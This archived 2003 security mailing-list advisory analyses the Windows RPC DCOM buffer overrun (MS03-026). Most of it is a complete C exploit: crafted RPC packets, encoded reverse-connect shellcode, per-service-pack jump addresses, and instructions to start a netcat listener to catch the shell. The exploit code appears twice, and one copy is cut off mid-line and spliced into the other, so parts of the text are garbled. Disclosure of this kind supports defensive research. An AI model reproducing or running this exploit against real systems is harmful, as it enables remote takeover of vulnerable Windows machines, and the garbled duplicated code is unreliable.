

[NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0109.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 07/28/03

To: list@securiteam.com

Date: 28 Jul 2003 15:13:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for Apache.

<http://ad.doubleclick.net/clk;5903117;8265118;i>

Analysis of LSD's Buffer Overrun in Windows RPC Interface

SUMMARY

In Jul 16, 2003, LSD published that they had discovered a critical security vulnerability in all recent versions of Microsoft operating systems.

The vulnerability affects default installations of Windows NT 4.0, Windows 2000, Windows XP, as well as Windows 2003 Server.

DETAILS

The <<http://www.securiteam.com/windowsntfocus/5SP0C20AKG.html>> Microsoft RPC Buffer Overrun vulnerability (MS03-026), is in fact fix two vulnerabilities, one is a local stack overflow and the other is a remote stack overflow. Both problems, result from the same interface, the following API call:

```
HRESULT CoGetInstanceFromFile(  
    COSERVERINFO * pServerInfo,  
    CLSID * pclsid,  
    IUnknown * punkOuter,  
    DWORD dwClsCtx,  
    DWORD grfMode,
```


Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

```
text:761543F3 jnz loc_761544BF
text:761543F9 cmp [esi+2], bx
text:761543FD jnz loc_761544BF
text:76154403 lea eax, [ebp+String1] <-----addr to place servername
&#65292;only
```

have the length of 0X20

```
text:76154406 push 0
text:76154408 push eax
text:76154409 push esi &#12296;-----here is the
parameter of
```

filename

```
text:7615440A call GetMachineName
&#12290;&#12290;&#12290;&#12290;&#12290;&#12290;
&#12290;&#12290;&#12290;&#12290;&#12290;&#12290;
&#12290;&#12290;&#12290;&#12290;&#12290;&#12290;
&#12290;&#12290;&#12290;&#12290;&#12290;&#12290;
&#12290;&#12290;&#12290;&#12290; when the function return ,it will be buffer
```

overflow.

GetMachineName:

```
text:7614DB6F mov eax, [ebp+arg_0]
text:7614DB72 mov ecx, [ebp+arg_4]
text:7614DB75 lea edx, [eax+4]
text:7614DB78 mov ax, [eax+4]
text:7614DB7C cmp ax, 5Ch &#12296;-----check if it is 0X5C,if
```

yes,the servername is over

```
text:7614DB80 jz short loc_7614DB93
text:7614DB82 sub edx, ecx
text:7614DB84
text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j
text:7614DB84 mov [ecx], ax &#12296;-----write the servername
to addr,if
```

longer than 0x20,buff overflow comes into being

```
text:7614DB87 inc ecx
text:7614DB88 inc ecx
text:7614DB89 mov ax, [ecx+edx]
text:7614DB8D cmp ax, 5Ch
text:7614DB91 jnz short loc_7614DB84
text:7614DB93
```

Note that you cannot include the "0x5c" character in the shellcode because the function GetMachineName checks for it.

Exploit:

* The exploit uses JMP ESP (FF E4)to jump ,so we should adjuse the address to other windows version.

Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

* The shellcode can connect reversed;so we should run nc -l -p XXX first.

* The length of shellcode must be sizeof(shellcode)%16=12 ,if not please fill with 0x90,or the packet format of RPC will be wrong.

* Before the buffer overflow return ,the 2 Parameters after return address need to be used ,so these addresses can be written.

* The exploit use JMP ESP,and we can exploit by overlaying SEH.

```
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
#pragma comment(lib,"ws2_32")
```

```
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
```

```
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
```


Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

```
///0x29x2cxe2x77//0x77e22c29
```

```
"x38x6ex16x76x0d\x6ex16x76"
```

```
//&#38656;&#35201;&#26159;&#21487;&#20889;&#30340;&#20869;&#23384;&#22320;&#22336;
```

```
//&#19979;&#38754;&#26159;SHELLCODE&#65292;&#21487;&#20197;&#25918;&#33258;
```

```
&#24049;&#30340;SHELLCODE&#65292;&#20294;&#24517;&#39035;&#20445;&#35777;sc&#30340;&#25972;
```

```
//SHELLCODE&#19981;&#23384;&#22312;0X00&#65292;0X00&#19982;0X5C
```

```
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
```

```
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
```

```
"\x93\x40\xe2\xfa"
```

```
// code
```

```
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xfd\xd2\xf7\xf7\xe1"
```

```
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
```

```
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xfd\xf6\xe0\xe0\xd2\x93"
```

```
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
```

```
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
```

```
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xfd\xf8"
```

```
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xfd\xf8\xf6\xe7\x93"
```

```
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
```

```
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
```

```
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
```

```
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
```

```
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
```

```
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
```

```
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
```

```
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
```

```
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
```

```
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xd3\xc3"
```

```
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xfd\x18\x4b\xf5\x54\xd6\x93"
```

```
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
```

```
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
```

```
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
```

```
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
```

```
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
```

```
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
```

```
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
```

```
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
```

```
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
```

```
unsigned char request4[]={
```

```
0x01,0x10
```

```
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
```

```
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x28,0x8C
```

```
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00
```

```
};
```

```
void main(int argc,char ** argv)
```

```
{
```

```
WSADATA WSData;
```

```
SOCKET sock;
```

Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

```
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short port1;
DWORD cb;

printf("RPC DCOM overflow Vulnerability discovered by LSD\n");
printf("Code by FlashSky,Flashsky xfocus org,benjurry,benjurry xfocus
org\n");
printf("Welcome to our English Site: http://www.xfocus.org\n");
printf("Welcome to our Chinese Site: http://www.xfocus.net\n");

if(argc<5)
{
printf("usage:%s targetip localIP LocalPort SPVersion\n",argv[0]);
printf("SPVersion:\n0 w2k Chinese version +sp3\n 1 w2k Chinese version
+SP4\n 2 winxp English version +sp1\n");
exit(1);
}

if(atoi(argv[4])==0)
memcpy(sc+36,jmpesp_cn_sp3,sizeof(jmpesp_cn_sp3));
else if (atoi(argv[4])==1)
memcpy(sc+36,jmpesp_cn_sp4,sizeof(jmpesp_cn_sp4));
else if (atoi(argv[4])==2)
memcpy(sc+36,jmpesp_en_xp_sp1,sizeof(jmpesp_en_xp_sp1));

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr
*)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
port1 = htons(atoi(argv[3]));
```

Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

```
//&#21453;&#21521;&#36830;&#25509;&#30340;&#31471;&#21475;
port1 ^= 0x9393;
cb=inet_addr(argv[2]);//&#21453;&#21521;&#36830;&#25509;&#30340;IP
cb ^= 0x93939393;
*(unsigned short *)&sc[330+0x30] = port1;
*(unsigned int *)&sc[335+0x30] = cb;
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;
//&#35745;&#31639;&#25991;&#20214;&#21517;&#21452;&#23383;&#33410;&#38271;&#24230;
*(DWORD *)(request2+8)=*(DWORD
*)(request2+8)+sizeof(sc)/2;//&#35745;&#31639;&#25991;&#20214;&#21517;&#21452;&#23383;&#33410;&#38271;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;

//&#35745;&#31639;&#21508;&#31181;&#32467;&#26500;&#30340;&#38271;&#24230;
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}

len=recv(sock,buf1,1000,NULL);
if (send(sock,buf2,len1,0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
len=recv(sock,buf1,10
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
#pragma comment(lib,"ws2_32")
```


Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

```
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0xD,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
```

```
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
```

```
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
```

```
unsigned int jmpesp_cn_sp3 = "\x29\x2c\xe2\x77";
unsigned int jmpesp_cn_sp4 = "\x29\x4c\xdf\x77";
unsigned int jmpesp_en_xp_sp1 = "\xdb\x37\xd7\x77";
```

```
unsigned char sc[] =
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
```

```
"\x29\x4c\xdf\x77" //sp4
//"\x29\x2c\xe2\x77"//0x77e22c29
```

```
"\x38\x6e\x16\x76\x0d\x6e\x16\x76"
//&#38656;&#35201;&#26159;&#21487;&#20889;
&#30340;&#20869;&#23384;&#22320;&#22336;
//&#19979;&#38754;&#26159;SHELLCODE&#65292;
&#21487;&#20197;&#25918;&#33258;&#24049;
&#30340;SHELLCODE&#65292;&#20294;&#24517;
&#39035;&#20445;&#35777;sc&#30340;&#25972;
&#20307;&#38271;&#24230;/16=12&#65292;
&#19981;&#28385;&#36275;&#33258;&#24049;
&#22635;&#20805;&#19968;&#20123;0X90&#21543;
//SHELLCODE&#19981;&#23384;&#22312;0X00
&#65292;0X00&#19982;0X5C
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
```

Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

```
"\x93\x40\xe2\xfa"  
// code  
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"  
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"  
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"  
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"  
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"  
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"  
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"  
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"  
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"  
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"  
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"  
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"  
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"  
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"  
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"  
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"  
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xd3\xc3"  
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"  
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"  
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"  
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"  
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"  
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"  
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"  
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"  
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
```

```
unsigned char request4[]={  
0x01,0x10  
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00  
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C  
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00  
};
```

```
void main(int argc,char ** argv)  
{  
WSADATA WSADATA;  
SOCKET sock;  
int len,len1;  
SOCKADDR_IN addr_in;  
short port=135;  
unsigned char buf1[0x1000];  
unsigned char buf2[0x1000];  
unsigned short port1;  
DWORD cb;
```

```
printf("RPC DCOM overflow Vulnerability discovered by LSD\n");  
printf("Code by FlashSky,Flashsky xfocus org,benjurry,benjurry xfocus
```

Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

```
org\n");
printf("Welcome to our English Site: http://www.xfocus.org\n");
printf("Welcome to our Chinese Site: http://www.xfocus.net\n");

if(argc<5)
{
    printf("usage:%s targetip localIP LocalPort SPVersion\n",argv[0]);
    printf("SPVersion:\n0 w2k Chinese version +sp3\n 1 w2k Chinese version
+SP4\n 2 winxp English version +sp1\n");
    exit(1);
}

if(atoi(argv[4])==0)
memcpy(sc+36,jmpesp_cn_sp3,sizeof(jmpesp_cn_sp3));
else if (atoi(argv[4])==1)
memcpy(sc+36,jmpesp_cn_sp4,sizeof(jmpesp_cn_sp4));
else if (atoi(argv[4])==2)
memcpy(sc+36,jmpesp_en_xp_sp1,sizeof(jmpesp_en_xp_sp1));

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
    printf("WSAStartup error.Error:%d\n",WSAGetLastError());
    return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
    printf("Socket failed.Error:%d\n",WSAGetLastError());
    return;
}
if(WSAConnect(sock,(struct sockaddr
*)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
    printf("Connect failed.Error:%d",WSAGetLastError());
    return;
}
port1 = htons(atoi(argv[3]));
//&#21453;&#21521;&#36830;&#25509;&#30340;&#31471;&#21475;
port1 ^= 0x9393;
cb=inet_addr(argv[2]);//&#21453;&#21521;&#36830;&#25509;&#30340;IP
cb ^= 0x93939393;
*(unsigned short *)&sc[330+0x30] = port1;
*(unsigned int *)&sc[335+0x30] = cb;
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;
```

Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

```
//&#35745;&#31639;&#25991;&#20214;&#21517;&#21452;&#23383;&#33410;&#38271;&#24230;
*(DWORD*)(request2+8)=*(DWORD
*)(request2+8)+sizeof(sc)/2;//&#35745;&#31639;&#25991;&#20214;&#21517;&#21452;&#23383;&#33410;&#38271;&#24230;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD*)(buf2+8)=*(DWORD*)(buf2+8)+sizeof(sc)-0xc;

//&#35745;&#31639;&#21508;&#31181;&#32467;&#26500;&#30340;&#38271;&#24230;
*(DWORD*)(buf2+0x10)=*(DWORD*)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0x80)=*(DWORD*)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0x84)=*(DWORD*)(buf2+0x84)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0xb4)=*(DWORD*)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0xb8)=*(DWORD*)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0xd0)=*(DWORD*)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0x18c)=*(DWORD*)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}

len=recv(sock,buf1,1000,NULL);
if (send(sock,buf2,len1,0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
len=recv(sock,buf1,1024,NULL);
}
```

ADDITIONAL INFORMATION

The information was provided by <<mailto:xundi@xfocus.org>> xundi
The original article can be found at: <www.xfocus.org> www.xfocus.org

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [NT] Analysis of LSD's Buffer Overrun in Windows RPC Interface

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.